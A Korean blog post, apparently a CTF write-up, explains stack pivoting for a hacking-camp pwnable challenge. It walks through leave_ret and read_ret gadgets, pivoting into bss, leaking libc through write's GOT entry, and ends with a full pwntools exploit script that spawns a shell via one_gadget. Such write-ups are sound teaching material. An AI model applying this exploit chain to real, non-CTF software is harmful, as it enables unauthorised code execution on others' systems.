티스토리 뷰
hacking camp에 나왔던 문제이다.
stack pivoting을 공부 할 수 있었던 좋은 문제.
스택 피보팅(stack pivoting)이란?
gadget을 이용해서 stack의 흐름을 변경하는 기법이다.
해당 문제에서는 bss와 stack을 이용할 것이다.
가젯은
- prdi
- prsi
- leave_ret
- read_ret
leave_ret gadget은 말그대로 leave ret 즉,
mov rsp rbp
pop rbp
pop eip
jmp eip 명령어다.
read_ret은 다음과 같다.
rbp가 있는 영역에다가 read해주는 역할이다.
sfp에다가 bss의 영역을 넣고 leave ret해주면 pop rbp로서 rbp는 bss를 가르키게 되고
ret에 read_ret을 넣어주면 bss에 libc_leak을 위한 페이로드를 넣어줄 수 있다.
( bss에 pay를 넣어줄때 write_plt 다음 ret오는곳에다가 main의 주소를 넣어서 핸들링을 해야지
stack ret에 one_shot을 넣어서 쉘을 딸 수 있다.)
bss
bss에 값을 넣어줄 때는 sfp에는 bss - 0x50 - 0x8 , ret에는 leave_ret을 넣어준다.
실제 다음과 같이 들어간다.
leave
ret <- leave_ret gadget
그럼 read_ret의 leave_ret이 일어나고 그 ret에다가 넣었던 leave_ret가젯덕분에
첫번째 leave때는 rbp가 bss - 0x50 -0x8로 옮겨지고
두번째 leave때는 rsp가 rbp위치로 가서 rsp는 bss - 0x50 - 0x8을 가르키게 된다.
여기서 pop rbp때문에 bss - 0x50 - 0x8에서 0x8만큼 빠지게되고
최종적으로 rsp는 bss - 0x50을 가르키게되며 그 위치는 ret이 된다.
( 코드보면 알 수 있듯이 이때부턴 ret에 prdi가 들어가게 됨 )
그 때부턴 rop 해주고 main으로 핸들링 해서 다시 buf채워주고
libc_leak으로 구한 one_shot으로 ret을 다시 채워주면 쉘을 얻을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
from pwn import *
#context.log_level = 'debug'
#p = remote('pwnable.shop', 20206)
p = process('./pivot')
e = ELF('./pivot')
l = e.libc
bss = e.bss() + 0x100
write_plt = e.plt['write']
write_got = e.got['write']
prdi = 0x4007d3
prsi = 0x4007d1
leaveret = 0x000000000040075f
read_ret = 0x000000000040072E
pay = 'a'*0x50 + p64(bss) + p64(read_ret)
p.send(pay)
p.recv()
#buf = 80bytes
pay = p64(prdi) + p64(1)
pay += p64(prsi) + p64(write_got) + p64(0)
pay += p64(write_plt)
pay += p64(e.sym['main'])
pay += p64(0)*3
pay += p64(bss-0x50 - 0x8)
pay += p64(leaveret)
p.send(pay)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = leak - l.sym['write']
one_gadget = base + 0xf1147
#0x4526a
pay = "A"*0x58
pay += p64(one_gadget)
p.send(pay)
p.recv()
p.recv()
p.interactive()
|
libc leak 따고 one_shot gadget으로 풀었다.